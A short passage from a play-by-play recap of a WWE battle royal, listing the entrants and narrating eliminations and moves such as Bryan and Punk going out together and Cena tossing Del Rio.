Alberto Del Rio, Kane, Jack Swagger, John Cena, Heath Slater, Daniel Bryan, CM Punk, Big Show, Great Khali, Brodus Clay, Damien Sandow, Tensai, Ezekiel Jackson, Justin Gabriel, Dolph Ziggler, Kofi Kingston, Zach Ryder, Santino Marella, Cody Rhodes, Christian

Back with ten guys to go as Bryan and Punk slug it out. Bryan stands in front of the ropes and Punk charges at him, eliminating both guys. Ok so we have Kane, Ziggler, Cena, Christian, Del Rio, Tensai, Ryder and Big Show to go. Big Show chokeslams Cena but Kane chokeslams Big Show. Tensai goes after Kane and pounds him into the corner. Cena erupts and beats up everyone before tossing Del Rio. Kane takes an AA but Tensai slows Cena down.

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